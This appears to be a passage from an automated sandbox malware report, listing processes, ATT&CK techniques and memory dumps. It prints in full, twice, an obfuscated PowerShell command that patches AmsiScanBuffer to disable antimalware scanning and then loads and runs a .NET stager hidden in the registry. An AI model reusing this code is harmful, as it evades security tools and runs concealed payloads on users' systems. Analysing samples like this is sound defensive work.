+'i'+[Char](97)+''+[Char](108)+''+'N'+'am'+[Char](101)+''+[Char](44)+'H'+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$uspWrgncOlWawD).SetImplementationFlags('Runt'+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$PZXaRtuAQBA.DefineMethod('In'+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+'e'+'w'+''+[Char](83)+''+[Char](108)+'o'+[Char](116)+''+[Char](44)+'V'+[Char](105)+''+[Char](114)+''+'t'+''+'u'+'a'+[Char](108)+'',$AMqTUmumfp,$uspWrgncOlWawD).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+'a'+'ge'+'d'+'');Write-Output $PZXaRtuAQBA.CreateType();}$ToYHlBPZhmUDi=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+'em.'+[Char](100)+'l'+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+''+'s'+''+[Char](111)+'ft'+[Char](46)+'W'+'i'+''+[Char](110)+'3'+[Char](50)+''+'.'+''+[Char](85)+''+'n'+''+[Char](115)+'a'+[Char](102)+''+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+'iv'+[Char](101)+''+[Char](77)+''+[Char](101)+'t'+[Char](104)+''+[Char](111)+''+'d'+''+'s'+'');$UqWTqTJypuUVvO=$ToYHlBPZhmUDi.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+'P'+'ro'+[Char](99)+''+[Char](65)+''+[Char](100)+''+'d'+''+'r'+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'ic,'+[Char](83)+''+[Char](116)+''+'a'+''+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$lBCSqlRFAaigcFyAUNe=xfTMzJxzqZux @([String])([IntPtr]);$QIpuYiCrbIICMkoIyAXwmG=xfTMzJxzqZux @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$IpoFOKhZtzD=$ToYHlBPZhmUDi.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+'l'+'3'+'2'+'.'+'dl'+[Char](108)+'')));$gzdtRyXKTPzvqB=$UqWTqTJypuUVvO.Invoke($Null,@([Object]$IpoFOKhZtzD,[Object]('Loa'+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+'r'+[Char](121)+''+'A'+'')));$UrmZPgVZBIuGPRCeQ=$UqWTqTJypuUVvO.Invoke($Null,@([Object]$IpoFOKhZtzD,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+'t'+'u'+'a'+''+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+'c'+'t'+'')));$TiJDopT=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gzdtRyXKTPzvqB,$lBCSqlRFAaigcFyAUNe).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+'i'+''+'.'+'dl'+[Char](108)+'');$LhxplAPyWiaNtXfyL=$UqWTqTJypuUVvO.Invoke($Null,@([Object]$TiJDopT,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+'i'+'Sc'+'a'+''+'n'+''+[Char](66)+''+[Char](117)+''+[Char](102)+'f'+[Char](101)+'r')));$eHlLYKGjpE=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UrmZPgVZBIuGPRCeQ,$QIpuYiCrbIICMkoIyAXwmG).Invoke($LhxplAPyWiaNtXfyL,[uint32]8,4,[ref]$eHlLYKGjpE);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](132-1),[Byte](200+35),[Byte](129-129),[Byte](105+79),[Byte](126-39),[Byte](136-136),[Byte](52-45),[Byte](152-24),[Byte](134-3),[Byte](101+133),[Byte](194-194),[Byte](205-10),[Byte](112+19),[Byte](192+1),[Byte](116-116)),0,$LhxplAPyWiaNtXfyL,73-58);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UrmZPgVZBIuGPRCeQ,$QIpuYiCrbIICMkoIyAXwmG).Invoke($LhxplAPyWiaNtXfyL,[uint32]8,0x20,[ref]$eHlLYKGjpE);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+'T'+'W'+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+'s'+[Char](116)+'ag'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- Executes a command shell one-liner
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:4552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:xfTMzJxzqZux{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uspWrgncOlWawD,[Parameter(Position=1)][Type]$AMqTUmumfp)$PZXaRtuAQBA=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+'flec'+[Char](116)+''+'e'+'d'+[Char](68)+''+[Char](101)+'l'+[Char](101)+'gate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+'m'+''+[Char](111)+''+'r'+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+[Char](116)+''+'e'+''+'T'+''+[Char](121)+''+[Char](112)+''+'e'+'',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+','+''+'P'+''+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+','+'S'+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+''+'a'+''+'s'+''+[Char](115)+',A'+[Char](117)+'to'+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$PZXaRtuAQBA.DefineConstructor('R'+[Char](84)+'S'+[Char](112)+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+''+'N'+'am'+[Char](101)+''+[Char](44)+'H'+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$uspWrgncOlWawD).SetImplementationFlags('Runt'+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$PZXaRtuAQBA.DefineMethod('In'+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+'e'+'w'+''+[Char](83)+''+[Char](108)+'o'+[Char](116)+''+[Char](44)+'V'+[Char](105)+''+[Char](114)+''+'t'+''+'u'+'a'+[Char](108)+'',$AMqTUmumfp,$uspWrgncOlWawD).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+'a'+'ge'+'d'+'');Write-Output $PZXaRtuAQBA.CreateType();}$ToYHlBPZhmUDi=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+'em.'+[Char](100)+'l'+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+''+'s'+''+[Char](111)+'ft'+[Char](46)+'W'+'i'+''+[Char](110)+'3'+[Char](50)+''+'.'+''+[Char](85)+''+'n'+''+[Char](115)+'a'+[Char](102)+''+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+'iv'+[Char](101)+''+[Char](77)+''+[Char](101)+'t'+[Char](104)+''+[Char](111)+''+'d'+''+'s'+'');$UqWTqTJypuUVvO=$ToYHlBPZhmUDi.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+'P'+'ro'+[Char](99)+''+[Char](65)+''+[Char](100)+''+'d'+''+'r'+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'ic,'+[Char](83)+''+[Char](116)+''+'a'+''+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$lBCSqlRFAaigcFyAUNe=xfTMzJxzqZux @([String])([IntPtr]);$QIpuYiCrbIICMkoIyAXwmG=xfTMzJxzqZux @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$IpoFOKhZtzD=$ToYHlBPZhmUDi.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+'l'+'3'+'2'+'.'+'dl'+[Char](108)+'')));$gzdtRyXKTPzvqB=$UqWTqTJypuUVvO.Invoke($Null,@([Object]$IpoFOKhZtzD,[Object]('Loa'+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+'r'+[Char](121)+''+'A'+'')));$UrmZPgVZBIuGPRCeQ=$UqWTqTJypuUVvO.Invoke($Null,@([Object]$IpoFOKhZtzD,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+'t'+'u'+'a'+''+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+'c'+'t'+'')));$TiJDopT=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gzdtRyXKTPzvqB,$lBCSqlRFAaigcFyAUNe).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+'i'+''+'.'+'dl'+[Char](108)+'');$LhxplAPyWiaNtXfyL=$UqWTqTJypuUVvO.Invoke($Null,@([Object]$TiJDopT,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+'i'+'Sc'+'a'+''+'n'+''+[Char](66)+''+[Char](117)+''+[Char](102)+'f'+[Char](101)+'r')));$eHlLYKGjpE=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UrmZPgVZBIuGPRCeQ,$QIpuYiCrbIICMkoIyAXwmG).Invoke($LhxplAPyWiaNtXfyL,[uint32]8,4,[ref]$eHlLYKGjpE);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](132-1),[Byte](200+35),[Byte](129-129),[Byte](105+79),[Byte](126-39),[Byte](136-136),[Byte](52-45),[Byte](152-24),[Byte](134-3),[Byte](101+133),[Byte](194-194),[Byte](205-10),[Byte](112+19),[Byte](192+1),[Byte](116-116)),0,$LhxplAPyWiaNtXfyL,73-58);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UrmZPgVZBIuGPRCeQ,$QIpuYiCrbIICMkoIyAXwmG).Invoke($LhxplAPyWiaNtXfyL,[uint32]8,0x20,[ref]$eHlLYKGjpE);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+'T'+'W'+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+'s'+[Char](116)+'ag'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5540

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:5900

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/752-21-0x00000247C6630000-0x00000247C6635000-memory.dmp

Download

memory/752-23-0x00000247C6700000-0x00000247C6709000-memory.dmp

Download

memory/752-29-0x00000247C6700000-0x00000247C6709000-memory.dmp

Download

memory/752-28-0x00000247C6700000-0x00000247C6709000-memory.dmp

Download

memory/752-27-0x00000247C6700000-0x00000247C6709000-memory.dmp

Download

memory/752-22-0x00000247C6700000-0x00000247C6709000-memory.dmp

Download

memory/996-32-0x000001A0D7E90000-0x000001A0D7EBB000-memory.dmp

Download

memory/996-33-0x000001A0D7E90000-0x000001A0D7EBB000-memory.dmp

Download

memory/996-42-0x000001A0D7E90000-0x000001A0D7EBB000-memory.dmp

Download

memory/996-41-0x000001A0D7E90000-0x000001A0D7EBB000-memory.dmp

Download

memory/996-46-0x00007FFF10940000-0x00007FFF10950000-memory.dmp

Download

memory/996-43-0x000001A0D7E90000-0x000001A0D7EBB000-memory.dmp

Download

memory/996-44-0x000001A0D7E90000-0x000001A0D7EBB000-memory.dmp

Download

memory/996-45-0x000001A0D7E90000-0x000001A0D7EBB000-memory.dmp

Download

memory/996-31-0x000001A0D7E60000-0x000001A0D7E85000-memory.dmp

Download

memory/1012-61-0x0000021D8A150000-0x0000021D8A17B000-memory.dmp

Download

memory/1012-64-0x0000021D8A150000-0x0000021D8A17B000-memory.dmp

Download

memory/1012-63-0x0000021D8A150000-0x0000021D8A17B000-memory.dmp

Download

memory/1012-62-0x0000021D8A150000-0x0000021D8A17B000-memory.dmp

Download

memory/1012-65-0x00007FFF10940000-0x00007FFF10950000-memory.dmp

Download

memory/1012-52-0x0000021D8A150000-0x0000021D8A17B000-memory.dmp

Download

memory/1012-60-0x0000021D8A150000-0x0000021D8A17B000-memory.dmp

Download

memory/1020-80-0x000001BFE0700000-0x000001BFE072B000-memory.dmp

Download

memory/1020-81-0x000001BFE0700000-0x000001BFE072B000-memory.dmp

Download

memory/1020-69-0x000001BFE0700000-0x000001BFE072B000-memory.dmp

Download

memory/1020-77-0x000001BFE0700000-0x000001BFE072B000-memory.dmp

Download

memory/1020-82-0x00007FFF10940000-0x00007FFF10950000-memory.dmp

Download

memory/1020-78-0x000001BFE0700000-0x000001BFE072B000-memory.dmp

Download

memory/1020-79-0x000001BFE0700000-0x000001BFE072B000-memory.dmp

Download

memory/1028-97-0x0000015D5C810000-0x0000015D5C83B000-memory.dmp

Download

memory/1028-86-0x0000015D5C810000-0x0000015D5C83B000-memory.dmp

Download

memory/1028-94-0x0000015D5C810000-0x0000015D5C83B000-memory.dmp

Download

memory/1028-95-0x0000015D5C810000-0x0000015D5C83B000-memory.dmp

Download

memory/1028-96-0x0000015D5C810000-0x0000015D5C83B000-memory.dmp

Download

memory/1028-119-0x00007FFF10940000-0x00007FFF10950000-memory.dmp

Download

memory/1028-98-0x0000015D5C810000-0x0000015D5C83B000-memory.dmp

Download

memory/1160-120-0x000001B322160000-0x000001B322185000-memory.dmp

Download

memory/1160-271-0x000001B322160000-0x000001B322185000-memory.dmp

Download

memory/1160-103-0x000001B322210000-0x000001B32223B000-memory.dmp

Download

memory/1160-111-0x000001B322210000-0x000001B32223B000-memory.dmp

Download

memory/1160-112-0x000001B322210000-0x000001B32223B000-memory.dmp

Download

memory/1160-113-0x000001B322210000-0x000001B32223B000-memory.dmp

Download

memory/1160-114-0x000001B322210000-0x000001B32223B000-memory.dmp

Download

memory/1160-115-0x000001B322210000-0x000001B32223B000-memory.dmp

Download

memory/1160-116-0x00007FFF10940000-0x00007FFF10950000-memory.dmp

Download

memory/1200-133-0x000002304E8A0000-0x000002304E8CB000-memory.dmp

Download

memory/1200-136-0x00007FFF10940000-0x00007FFF10950000-memory.dmp

Download

memory/1200-130-0x000002304E8A0000-0x000002304E8CB000-memory.dmp

Download

memory/1200-122-0x000002304E8A0000-0x000002304E8CB000-memory.dmp

Download

memory/1200-131-0x000002304E8A0000-0x000002304E8CB000-memory.dmp

Download

memory/1200-132-0x000002304E8A0000-0x000002304E8CB000-memory.dmp

Download

memory/1200-134-0x000002304E8A0000-0x000002304E8CB000-memory.dmp

Download

memory/1232-152-0x00007FFF10940000-0x00007FFF10950000-memory.dmp

Download

memory/1232-148-0x000002DE3E340000-0x000002DE3E36B000-memory.dmp

Download

memory/1232-147-0x000002DE3E340000-0x000002DE3E36B000-memory.dmp

Download

memory/1232-139-0x000002DE3E340000-0x000002DE3E36B000-memory.dmp

Download

memory/1232-150-0x000002DE3E340000-0x000002DE3E36B000-memory.dmp

Download

memory/1232-151-0x000002DE3E340000-0x000002DE3E36B000-memory.dmp

Download

memory/1232-149-0x000002DE3E340000-0x000002DE3E36B000-memory.dmp

Download

memory/1312-166-0x000001B8F3D30000-0x000001B8F3D5B000-memory.dmp

Download

memory/1312-156-0x000001B8F3D30000-0x000001B8F3D5B000-memory.dmp

Download

memory/1312-164-0x000001B8F3D30000-0x000001B8F3D5B000-memory.dmp

Download

memory/1312-165-0x000001B8F3D30000-0x000001B8F3D5B000-memory.dmp

Download

memory/1312-167-0x000001B8F3D30000-0x000001B8F3D5B000-memory.dmp

Download

memory/5540-15-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/5540-10-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/5540-14-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/5540-20-0x00007FFF4E7F0000-0x00007FFF4E8B7000-memory.dmp

Download

memory/5540-16-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/5540-17-0x00000237FB360000-0x00000237FB38C000-memory.dmp

Download

memory/5540-18-0x00007FFF50800000-0x00007FFF50A63000-memory.dmp

Download

memory/5540-11-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/5540-12-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/5540-13-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/5540-9-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/5540-8-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/5540-6-0x00000237FB0F0000-0x00000237FB112000-memory.dmp

Download

memory/5540-7-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/5540-5-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/5540-2-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/5540-1-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/5540-0-0x00007FFF2DB6F000-0x00007FFF2DB70000-memory.dmp

Download

memory/5540-19-0x00007FFF4E1E0000-0x00007FFF4E581000-memory.dmp

Download

memory/5540-51-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download